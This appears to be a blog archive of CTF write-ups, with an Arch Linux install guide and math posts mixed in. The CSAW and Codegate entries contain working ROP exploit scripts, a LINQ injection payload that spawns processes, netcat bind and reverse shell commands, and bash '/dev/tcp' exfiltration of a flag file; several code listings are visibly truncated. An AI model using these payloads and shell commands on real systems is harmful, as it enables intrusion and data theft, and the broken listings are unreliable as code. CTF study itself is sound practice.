UIUCTF2017 – OldTV

Not many people solved this despite the author and I believing that this should have been an easy challenge. We were given the following program:

from binascii import hexlify
from fractions import gcd
import rsa

pub, priv = rsa.newkeys(2048)

with open('flag.txt') as f: flag = f.read()

signme = 1337

q = priv.q
p = priv.p
d = priv.d
e = priv.e
n = priv.n

# RSA signatures are way too slow I'm gonna go sanic

def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)

def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
        return x % m

s1 = pow(signme, d % (p - 1), p)
s2 = pow(signme, d % (p - 1), q)
qinv = modinv(q, p)
h = (qinv * (s1 - s2)) % p
s = s2 + h * q

print "parameters:"
print e
print n
print "signed 1337 with"
print s
print "encrypted flag"
print hexlify(rsa.encrypt(flag, pub))

Initially, you should try to verify the signature and compute s^e \pmod{n}, and realize that it is not 1337. We eventually notice that d_q \equiv d \pmod{p - 1}, which is incorrect, so we pull out a pencil and paper and calculate.

    \[ \begin{aligned} s_1 &\equiv m^{d_p} \pmod{p} \implies c_1 p + s_1 = m^{d_p} \\ s_2 &\equiv m^{d_p} \pmod{q} \implies c_2 q + s_2 = m^{d_p} \\ s_1 - s_2 &= c_2 q - c_1 p \\ h &\equiv q^{-1} (c_2 q - c_1 p) \pmod{p} \implies h \equiv c_2 \pmod{p} \\ s &\equiv m^{d_p} - c_2 q + hq \equiv m^{d_p} \pmod{p} \\ ed_p &\equiv 1 \pmod{p - 1} \implies s^e \equiv m \pmod{p} \\ \end{aligned} \]

We can then just compute \gcd(s^e - m, n) to get p, where s^e - m is taken modulo n. The chances of s^e - m \equiv 0 \pmod{n} are really small, so this works most of the time.

Posted in CTF, Math | Leave a comment

Codegate 2017 Prequals – BabyPwn

This was a straightforward ROP challenge, which was made difficult on our side due to bandwidth issues.

Interestingly enough, every time we tried to leak the stack cookie it started with a null byte. We have a read primitive (actually just a function) at 0x80488b1 which we can leverage to read off entries from the plt. With this, we can grab libc addresses to fingerprint a specific version and then find offsets to the functions we want. Stacks are also cleaned up by the caller, so we need to return back to the main loop to retrigger our ROP chain every time we call a new function.

#! /usr/bin/env python2

from pwn import remote, p32, u32, args, log

choicestr = "Select menu > "
inputstr  = "Input Your Message : "

if args['REMOTE']:
    r = remote("", 8888)
    r = remote("localhost", 8181)

# r.sendline("1")
# r.recvuntil(inputstr)
# r.send("A" * 41)
# v = r.recvuntil(choicestr)

# x = v[40:]
# print x.encode("hex")

# cookie = x[1:4]
cookie = "00228d33".decode("hex")
pl_base = "A" * 40 + cookie + "BBBB" + "CCCC" + "DDDD"
loop = 0x8048a71

# we can use this to leak libc addresses
#r.send(pl_base + p32(0x80488b1) + p32(loop) + p32(0x804b03c))
#res = r.recvuntil(choicestr)

# __libc_start_main = 0xf75ef990
setsockopt = 0xf765c5d0
libc_base = setsockopt - 0x000ed5d0
system = libc_base + 0x00040190
binsh = libc_base + 0x00160a24
dup2 = libc_base + 0x000db590
alarm = libc_base + 0x000b54c0

# go back to the loop to do a new rop call

pl = pl_base + p32(alarm) + p32(loop)+ p32(0)

log.info("dup2(4, 0)")
pl = pl_base + p32(dup2) + p32(loop)+ p32(4) + p32(0)

log.info("dup2(4, 1)")
pl = pl_base + p32(dup2) + p32(loop)+ p32(4) + p32(1)

pl = pl_base + p32(system) + p32(loop)+ p32(binsh)

# FLAG{[email protected][email protected]@d!!!!!!^.^}
Posted in CTF | Leave a comment

Codegate 2017 Prequals – EasyCrack 101

We are presented with a zip file containing a bunch of ELF executables which serve as crackmes as well as a web server to submit the flags to each crackme. Doing some reverse engineering, we discover that one instruction always executed for correct inputs was main+0x50 and that the checking logic isn’t too complicated, so we can use tools like angr to find paths to that address. The only tricky part was determining which function was main, because the binaries were all stripped. We determine this by finding the only function that calls printf.

#! /usr/bin/env python2

import angr, sys

if len(sys.argv) != 2:
    print "give prob"

p = angr.Project(sys.argv[1])

# analyze and find main
cfg = p.analyses.CFGFast()

for addr,func in cfg.functions.iteritems():
    for site in func.get_call_sites():
        if cfg.functions[func.get_call_target(site)].name == "printf":
            main = func.addr
            # print "%x: main" % (main,)

arg = angr.claripy.BVS("arg", 100 * 8)
s = p.factory.path(args=[sys.argv[1], arg])
pg = p.factory.path_group(s)

found = pg.found[0]
sol = found.state.se.any_str(arg)
sol = sol[:sol.find("\x00")]
print sol

Put this with a script to automate the solving and submission of problems and you win.

#! /bin/bash

touch solutions.txt

lines=$(wc -l solutions.txt | cut -f1 -d' ')
next=$(echo $lines+1 | bc)

for i in $(seq $next 101); do
  sol=$(./solve.py ./prob$i 2>/dev/null)
  printf "./prob%-3d: %s\n" "$i" "$sol"
  printf "./prob%-3d: %s\n" "$i" "$sol" >> solutions.txt
  curl -X POST -b "PHPSESSID=[REDACTED]" -F "submit=Auth" -F "prob=$i" -F "key=$sol" "" &>/dev/null

Flag: FLAG{Thank_U_4 s0lving_MY_Pr0b…[email protected]_vEry_genius!!!}

Posted in CTF | Leave a comment

Arch Linux Install Guide For EFI Systems

Because nobody seems to know how to actually install Arch, here’s a brief guide.

You need a machine to install Arch on. You also need a version of the Arch installation disk on some bootable medium. You can see what versions are available here. Create the bootable medium however you would like, e.g. by burning the iso onto a CD or a USB stick. Make sure that it is labelled properly, e.g. `ARCH_YYYYMM’. You should now be able to boot to your USB stick given that BIOS settings such as secure boot have been turned off. Make sure you have a working internet connection. Otherwise, run `# wifi-menu’ to connect via wireless.

To properly do EFI, we need at least two partitions. An EFI partition and a root partition. The EFI partition should be mounted at /boot. If not, you will have to do the manual task of copying your initramfs images over to wherever you mounted your EFI partition after every kernel update. So just use /boot to save yourself some time. Then mount everything wherever you want it to be. Note: if you have a /usr partition, you should add the usr, fsck, and shutdown hooks to /etc/mkinitcpio.conf after installation. See the configuration file for any other things you may need to do for non-standard configurations.

Edit /etc/pacman.d/mirrorlist and put whatever mirror you want to use at the front. I tend to use mirrors.kernel.org. Then, assuming you mounted your root filesystem at /mnt, we can do `# pacstrap base /mnt’. Usually it is also a good idea to include base-devel with `# pacstrap base base-devel /mnt’, but if you aren’t going to build anything and just want a working system base is the bare minimum.

After installing the base system, it’s usually nice to configure some things. We should probably tell the system how to mount our partitions. Run `# genfstab -U /mnt >> /mnt/etc/fstab’ to write your partition (and mount) scheme to the file the loader reads to mount everything. Run `# arch-chroot /mnt’ to run a script that sets up some nice symlinks and chroots into your installation. Set the hostname by writing to /etc/hostname. Set the timezone and configure NTP with timedatectl(1). Edit /etc/locale.gen to and run `# locale-gen’ to generate some locales, and write locale.conf(5) to set the default locale. Also make sure to set a root password.

Installing a bootloader:
Follow the instructions on the Arch Wiki for this. For example, for systemd-boot, we would run `# bootctl install’, and setup /boot/loader/loader.conf and /boot/loader/entries/arch.conf by looking at examples in /usr/share/systemd/bootctl. For GRUB, we would do `# grub-install –target=x86_64-efi –efi-directory=/boot –bootloader-id=grub –debug’ and a `# grub-mkconfig -o /boot/grub/grub.cfg’.

Unmount and reboot. Your system should now be working.

Posted in Software | Leave a comment

CSAW Finals 2016 – Cookie Math (250)

We are given a binary that does some math. The program checks a 30 byte string and some things are XOR’d while some are not. We solve this by doing some math. We can get a list of potential XOR candidates and a set of equations by examining the binary. The result looks something like:

+5:  a
+9:  b
+13: c
+17: d
+21: e
+25: f
c + e = 0xE1D4E090 -- 0xB93E4867
f + e = 0x94E860D0 -- 0xB9F7A2FF
b + e = 0xCDD6D8C1 -- 0x7E3C14CD
a + d = 0x93E1A69F -- 0x21DDC691
b + c = 0xCD929799 -- 0x65AAFD58
d + e = 0x9FA6CFD3 -- 0x372f660E
d + c = 0xA490E3A5 -- 0xCBFF9345
        flag{....} -- 0x35E4EEBF
f + a = 0x55DC64D0 -- 0x453057E3
f + d = 0x5261E2D3 -- 0xE8D28FD7
b + d = 0xCDD8A69F -- 0xCE71DD4A
a + f = 0x5497E5C0 -- 0xC30B088B
c + a = 0x939b9799 -- 0xB2C58526
e + a = 0xA1DCD2C0 -- 0xA47E904C
b + f = 0x8FD364D0 -- 0x4D663570
b + a = 0x92C8DEC3 -- 0x5F3CEEE9
c + f = 0x80A79399 -- 0xBD87BD77

We can determine which things to XOR by computing all possible XOR states and choosing the one that works.

import Control.Monad
import Data.Bits

v :: [Int]
v = [ 0xB93E4867, 0xB9F7A2FF, 0x7E3C14CD, 0x21DDC691, 0x65AAFD58, 0x372f660E
    , 0xCBFF9345, 0x35E4EEBF, 0x453057E3, 0xE8D28FD7, 0xCE71DD4A, 0xC30B088B
    , 0xB2C58526, 0xA47E904C, 0x4D663570, 0x5F3CEEE9, 0xBD87BD77 ]

powerset :: [a] -> [[a]]
powerset = filterM (const [True, False])

psv = powerset v

stuff = zip psv $ foldr xor 0 <$> powerset v
sol = filter (\(a, b) -> b == 0xDEADBEA7) stuff
-- result: [0xB93E4867, 0x7E3C14CD, 0x372F660E, 0xCBFF9345, 0x35E4EEBF, 0xE8D28FD7, 0xC30B088B, 0xA47E904C, 0x5F3CEEE9]

We then filter our equations and solve.

c + e = 0xE1D4E090
b + e = 0xCDD6D8C1
d + e = 0x9FA6CFD3
f + d = 0x5261E2D3
a + f = 0x5497E5C0
e + a = 0xA1DCD2C0
b + a = 0x92C8DEC3
a = 0x33676c61
b = 0x5f617262
c = 0x735f7a31
d = 0x31316974
e = 0x6e75665f
f = 0x2130795f
"flag{" + "616c67336272615f317a5f73746931315f66756e5f793021".decode("hex") + "}"
Posted in CTF | Leave a comment

CSAW Finals 2016 – LINQ To The Present (100)

We are presented with a .NET binary, and the hint says that we should consider this being run under Mono in a linux system. We disassemble the program using MonoDevelop and get:

using System;
using System.Collections.Generic;
using System.Linq.Dynamic;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading;

namespace linq_to_t
  public class handleClinet
    // Fields
    private TcpClient clientSocket;

    private string clNo;

    // Methods
    private void doChat ()
      byte[] array = new byte[10025];
      string str = null;
      Message[] source = new Message[] {
        new Message ("Hilary", "Donald", "You are going down!", DateTime.Now, 1, IPAddress.Parse ("")),
        new Message ("Donald", "Hilary", "Oh I don't think so. My polls are HUUUUGGEEE.", DateTime.Now, 2, IPAddress.Parse ("")),
        new Message ("Hilary", "Donald", "Nice chat!", DateTime.Now, 3, IPAddress.Parse ("")),
        new Message ("Donald", "Hilary", "Bye loser.", DateTime.Now, 4, IPAddress.Parse ("")),
        new Message ("Hilary", "Donald", "No, you are the loser.", DateTime.Now, 5, IPAddress.Parse (""))
      try {
        NetworkStream stream = this.clientSocket.GetStream ();
        stream.Read (array, 0, 2048);
        string text = Encoding.ASCII.GetString (array);
        text = text.Replace ("
", string.Empty).Trim (new char[1]);
        Console.WriteLine (" >> From client-" + this.clNo + text);
        IEnumerable<Message> enumerable = source.Where ("Text = " + text, new object[0]);
        foreach (Message current in enumerable) {
          byte[] bytes = Encoding.ASCII.GetBytes (string.Concat (new string[] {
            " -> ",
            ": ",
          stream.Write (bytes, 0, bytes.Length);
          stream.Flush ();
        Console.WriteLine (" >> " + str);
      catch (Exception ex) {
        Console.WriteLine (" >> " + ex.ToString ());
      this.clientSocket.Close ();

    public void startClient (TcpClient inClientSocket, string clineNo)
      this.clientSocket = inClientSocket;
      this.clNo = clineNo;
      Thread thread = new Thread (new ThreadStart (this.doChat));
      thread.Start ();

So we can do very SQL-ish things here because + Text is not surrounded by quotes, so submitting something like Text prints all of the messages while submitting "Nice chat!" only prints the one message. We then employ techniques from escaping python jails in an attempt to escape from the linq jail where our where clause input lives in. The goal is to eventually call System.Diagnostics.Process.Start("<command>", "<arguments>"), but our only way in is via reflection, and we have no way of creating arrays inside linq, so we employ a nice trick with strings: we can split them. MethodBase.Invoke(null, "command;arguments".Split(";".ToCharArray())) should suffice.

To obtain a MethodBase, we simply examine Object.GetType().GetMethods(), or in our case, we want System.AppDomain.CreateInstanceAndUnwrap to get an instance of System.Diagnostics.Process, which is accessible via "".GetType().Assembly.GetType("System.AppDomain").GetMethods()[18]. After reading up a bit on what sorts of things CreateInstanceAndUnwrap wants, we get the following payload:

// filter to spawn only 1 process, creates an instance of System.Diagnostics.Process and calls Start
"Nice chat!" && Text != "".GetType().Assembly.GetType("System.AppDomain").GetMethods()[18].Invoke("".GetType().Assembly.GetType("System.AppDomain").GetProperty("CurrentDomain").GetValue(null), "System, Version=, Culture=neutral, PublicKeyToken=b77a5c561934e089;System.Diagnostics.Process".Split(";".ToCharArray())).GetType().GetMethods()[80].Invoke(null, "command;arguments".Split(";".ToCharArray()))

The final step is figuring out which command to run. The first guess was to spawn either a remote listen shell or a reverse shell to our machine. This could be done with

# listen shell
nc -l -p 24245 -e /bin/bash  # linq
nc web.chal.csaw.io 24245    # us
# reverse shell
nc -l -p 24245 -e /bin/bash  # us
nc 24245      # linq, is our ip on CSAWnet

Unfortunately, this only worked locally and not on the remote (likely due to permissions). Next, we discovered the following bash special functionality:

Bash handles several filenames specially when they are used in redirections, as described in the following table:

              If fd is a valid integer, file descriptor fd is duplicated.
              File descriptor 0 is duplicated.
              File descriptor 1 is duplicated.
              File descriptor 2 is duplicated.
              If host is a valid hostname or Internet address, and port is an integer port number or service name, bash attempts to open the corresponding TCP socket.
              If host is a valid hostname or Internet address, and port is an integer port number or service name, bash attempts to open the corresponding UDP socket.

so we can get direct command output via

bash -c 'command arguments > /dev/tcp/'

to send stuff to our listen server on port 24245.

The rest is done locally, because I can no longer connect to the challenge server. After starting a local server on port 8888, we can do the following.

$ nc localhost 8888
"Nice chat!" && Text != "".GetType().Assembly.GetType("System.AppDomain").GetMethods()[18].Invoke("".GetType().Assembly.GetType("System.AppDomain").GetProperty("CurrentDomain").GetValue(null), "System, Version=, Culture=neutral, PublicKeyToken=b77a5c561934e089;System.Diagnostics.Process".Split(";".ToCharArray())).GetType().GetMethods()[80].Invoke(null, "/bin/bash;-c 'ls -al > /dev/tcp/localhost/24245'".Split(";".ToCharArray()))
$ nc localhost 8888
"Nice chat!" && Text != "".GetType().Assembly.GetType("System.AppDomain").GetMethods()[18].Invoke("".GetType().Assembly.GetType("System.AppDomain").GetProperty("CurrentDomain").GetValue(null), "System, Version=, Culture=neutral, PublicKeyToken=b77a5c561934e089;System.Diagnostics.Process".Split(";".ToCharArray())).GetType().GetMethods()[80].Invoke(null, "/bin/bash;-c 'cat flag.txt > /dev/tcp/localhost/24245'".Split(";".ToCharArray()))
# in another shell...
$ ncat -l -p 24245 -k -v
Ncat: Version 7.31 ( https://nmap.org/ncat )
Ncat: Listening on :::24245
Ncat: Listening on
Ncat: Connection from ::1.
Ncat: Connection from ::1:49454.
total 72
drwxr-xr-x 2 incertia users  4096 Nov 13 12:34 .
drwxr-xr-x 3 incertia users  4096 Nov 13 12:32 ..
-rw-r--r-- 1 incertia users    36 Nov 13 12:34 flag.txt
-rwxr-xr-x 1 incertia users  6144 Nov 13 12:32 linq_to_the_present.exe
-rw-r--r-- 1 incertia users 49664 Nov 13 12:32 System.Linq.Dynamic.dll
Ncat: Connection from ::1.
Ncat: Connection from ::1:49458.

and we win.

Posted in CTF | Leave a comment

Pullbacks of Differential Forms

Let f : M \to N be a smooth map between manifolds and let \phi be a smooth k-form on N. We have the natural push forward/total differential f_* = df : TM \to TN given by df(v_p) = (f \circ \alpha)'(0), where \alpha : I \to M is a curve satisfying \alpha(0) = p and \alpha'(0) = v, but this also gives a natural way to pull back differential forms from N back to M.
Define f^* : \Omega^k (N) \to \Omega^k (M) by f^*(\phi)(v_{p, 1}, \dots, v_{p, k}) = \phi(f_*(v_{p, 1}), \dots, f_*(v_{p, k})), which totally doesn’t look like it’s doing much, but this is precisely what gives is the tools to integrate differential forms on manifolds.

For example, suppose I have a curve f : I \to M and a smooth 1-form \phi on M. Then

    \[ \int_{f(I)} \phi = \int_I f^*(\phi) = \int_I \phi(f'(t)) \, dt, \]

which essential means that we can integrate any 1-form on any manifold by looking at how it behaves in our local copy of \RR on the manifold. Pretty neat, right?

Posted in Math | Leave a comment

A Bad Attempt At Connecting Differential Forms And Multivariable Calculus

So after taking MVC, we’ve all been through those tedious proofs that \nabla \times \nabla F = 0 and \nabla \cdot \left( \nabla \times F \right) = 0. Here, we give a unified way to view these identities.

We start by giving the notion of a tangent space of a point in \RR^n, which is a vector at that point. Denote this with T_p \RR^n = \lbrace (p, \vec{v}) : \vec{v} \in \RR^n \rbrace, which also has the convenient notation (p, \vec{v}) \equiv v_p. We can then take the union of all these tangent spaces and call it the tangent bundle \displaystyle{T \RR^n = \bigcup_{p \in \RR^n} T_p \RR^n}.

We can view tangent vectors and vector fields as differential operators for a function. The directional derivative of a C^1 function at a point p in direction v is v_p[f] = g'(0), where g(t) = f(p + tv). After some crunching, we arrive at

    \[ v_p[f] = \langle v, \nabla f(p) \rangle. \]

We then naturally extend this to vector fields, namely (Vf)(p) = V(p)[f].

Now we can talk about differential forms. Recall that the total differential of a function f : \RR^3 \to \RR is

    \[ df = \frac{\partial f}{\partial x} dx + \frac{\partial f}{\partial y} dy + \frac{\partial f}{\partial z} dz. \]

We now define a differential 1-form to be a function \varphi : T \RR^n \to \RR such that when we restrict \varphi to a certain point p and consider \varphi_p : T_p \RR^n \to \RR, \varphi_p is a linear functional. It turns out that we can equip 1-forms with function coefficients. If \varphi is a 1-form, then (f \varphi)(v_p) = f(p) \varphi(v_p). We also let the standard set of differential 1-forms to be the set of functions dx_i((v_1, v_2, \dots, v_n)_p) = v_i, so in \RR^3, dy(v_p) reads out the 2nd coordinate of v. Then the total differential becomes a very natural 1-form.

If we have 1-forms, what about what about 0-forms and 2-forms? We can naively let 0-forms be the set of functions, and higher dimensional forms to be some kind of product of lower dimensional forms, with some sort of derivative operation that moves from one form space to the next. It turns out that when we do this, we get a lot of nice things. We can define a new product of differential forms, called the wedge product, such that df \wedge dg = -dg \wedge df, and takes in more tangent vectors and linear in each component when you fix a point. Then if \varphi = f \, dx + g \, dy + h \, dz is a 1-form, we can write d \varphi = df \wedge dx + dg \wedge dy + dh \wedge dz, and define analogously for higher dimensional spaces (here we took n = 3) and forms. If we crunch out the products, we learn that d^2 = 0, or if \varphi is a differential form, then d(d\varphi) = 0. From this, we can construct an interesting diagram.

Rendered by QuickLaTeX.com


    \[ \begin{aligned} f_1(f) &= f \\ f_2(x, y, z) &= x \, dx + y \, dy + z \, dz \\ f_3(x, y, z) &= z \, dx \wedge dy + x \, dy \wedge dz + y \, dz \wedge dx \\ f_4(f) &= f \, dx \wedge dy \wedge dz. \\ \end{aligned} \]

are isomorphisms and \Omega^n denotes the space of n-forms.

Construct a similar chain of morphisms to get good at n-dimensional calculus where n > 3.

Posted in Math | Leave a comment

CSAW Quals 2016 – Tutorial (200)

We are given a binary with a libc, so our first guess should be some ret2libc ROP attack. We are also given a very nice buffer overflow in practice().
We can get the address of something in libc by checking the manual.

Next, we examine practice, as this is where we are supposedly going to test our exploit.

If our buffer is short enough, we leak the stack cookie as well! The only problem here is that the server makes direct connections instead of running via socat(1) like most challenges. At first, I was not aware that glibc system call wrappers would not clobber registers, and did not envision that the socket file descriptor would be constant, so we pursued a bind shell that we would be able to connect to (system(“netcat -lp 4276 -e /bin/sh”)), but it turns out that there were not enough extra bytes in the stack overflow.

After debugging in gdb (it is useful to nop out the alarm() syscall here) on our local libc (it just crashes with LD_PRELOAD), we discovered that glibc does not clobber registers. In fact, syscall(2) even states, “syscall() saves CPU registers before making the system call, restores the registers upon return from the system call, and stores any error code returned by the system call in errno(3) if an error occurs”. Luckily, we have our socket file descriptor in a register due to the previous write call, so we can just load 0 and 1 into rsi and dup2 twice before doing system(“/bin/sh”).

Our final script looks like

#! /usr/bin/env python2

from socket import *
from pwn import *
import struct

s = remote("pwn.chal.csaw.io", 8002)
print s.recvuntil(">")
ref = s.recvuntil(">")

libc_base = ref.split('\n')[0][10:]
print "puts:      " + libc_base
libc_base = int(libc_base, 16)
libc_base += 1280
libc_base -= 0x6fd60

off_system = 0x46590
off_dup2   = 0xebe90
off_binsh  = 0x17c8c3
off_poprdi = 0x22b9a
off_poprsi = 0x24885

# 0xe3177: mov rax, qword ptr [rdx] ; mov qword ptr [rdx], rdi ; ret
off_storedata = 0x2c46c
off_data   = 0x398620

system  = struct.pack("<Q", libc_base + off_system)
dup2    = struct.pack("<Q", libc_base + off_dup2)
binsh   = struct.pack("<Q", libc_base + off_binsh)
poprdi  = struct.pack("<Q", libc_base + off_poprdi)
poprsi  = struct.pack("<Q", libc_base + off_poprsi)

storedata = struct.pack("<Q", libc_base + off_storedata)
storage = libc_base + off_data

print "libc:      " + struct.pack("<Q", libc_base).encode("hex")
print "system:    " + system.encode("hex")
print "binsh:     " + binsh.encode("hex")
print "poprdi:    " + poprdi.encode("hex")
print "poprsi:    " + poprsi.encode("hex")

print ref
print s.recvuntil(">")
cs = s.recvuntil(">")
print cs[0:312].encode("hex")
print cs[312:320].encode("hex")
cookie = cs[312:320]

print "cookie: " + cookie.encode("hex")

print s.recvuntil(">")

payload = ""
payload += "A" * 312 # buffer
payload += cookie    # stack cookie
payload += "B" * 8   # saved rbp

# dup2(fd, 0)
payload += poprsi
payload += struct.pack("<Q", 0)
payload += dup2

# dup2(fd, 1)
payload += poprsi
payload += struct.pack("<Q", 1)
payload += dup2

# /bin/sh
payload += poprdi
payload += binsh
payload += system

# print "payload: " + payload.encode("hex")
print "sending payload..."

Great! Now let’s run it.

$ ./solve.py
[+] Opening connection to pwn.chal.csaw.io on port 8002: Done
puts:      0x7fad235d3860
libc:      00405623ad7f0000
system:    90a55a23ad7f0000
binsh:     c3086e23ad7f0000
poprdi:    9a6b5823ad7f0000
poprsi:    85885823ad7f0000
Time to test your exploit...
cookie: 00b19867905dc970
Time to test your exploit...
sending payload...
[*] Switching to interactive mode
$ cat flag.txt
$ exit
[*] Got EOF while reading in interactive
[*] Closed connection to pwn.chal.csaw.io port 8002
Posted in CTF | Leave a comment

CSAW Quals 2016 – Warmup (50)

This is very clearly a buffer overflow to ROP.

Where easy = system(“cat flag.txt”)

$ perl -e 'print "A"x72; print "\x11\x06\x40\x00\x00\x00\x00\x00";' | nc pwn.chal.csaw.io 8000

Here we ROP into the middle of easy, before the system call, but you can ROP into the start of easy as well.

Posted in CTF | Leave a comment